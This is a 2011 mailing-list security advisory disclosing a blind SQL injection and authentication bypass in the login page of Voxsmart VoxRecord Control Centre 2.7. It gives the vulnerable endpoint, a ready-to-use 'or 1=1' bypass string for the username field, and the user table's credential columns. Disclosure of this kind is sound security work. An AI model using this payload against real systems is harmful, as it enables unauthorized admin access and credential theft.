full-disclosure - Voxsmart VoxRecord Control Centre

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Date: Wed, 30 Nov 2011 13:06:39 +0100
From: Piotr Duszynski <piotr@...zynski.eu>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Voxsmart VoxRecord Control Centre - Blind SQLi
	and auth. bypass

=======================================================================
VoxRecord Control Centre - version 2.7 Blind SQLi and auth. bypass
=======================================================================

Affected Software : Voxsmart - VoxRecord Control Centre v. 2.7
Severity          : Critical
Local/Remote      : Remote
Author            : Piotr Duszynski @drk1wi

[Summary]

A blind sqli exists in /vcc/login.php login page. This can be used 
either for authentication bypass (admin privileges gained)
or login:pass extraction from the 'voxsuser' database table.

[Vulnerability Details]

HTTP POST :/vcc/login.php
admin_un=adm[ BLIBD SQL INJECTION]&admin_pw=adddm

- Authentication bypass:
set admin_un to "admin'%20or%201%3d1--"

- Blind SQLi data extraction:
'voxsuser' table columns
+-------------------------+----+----------------------------+-----------------------------------------------+------------+------------+
| email                   | id | is_loged                   | password  
                                  | user_type  | username   |
+-------------------------+----+----------------------------+-----------------------------------------------+------------+------------+

[Time-line]

1/10/2011  - Vendor notified
???        - Vendor response
???        - Vendor patch release
30/11/2011 - Public disclosure


Cheers,
@drk1wi

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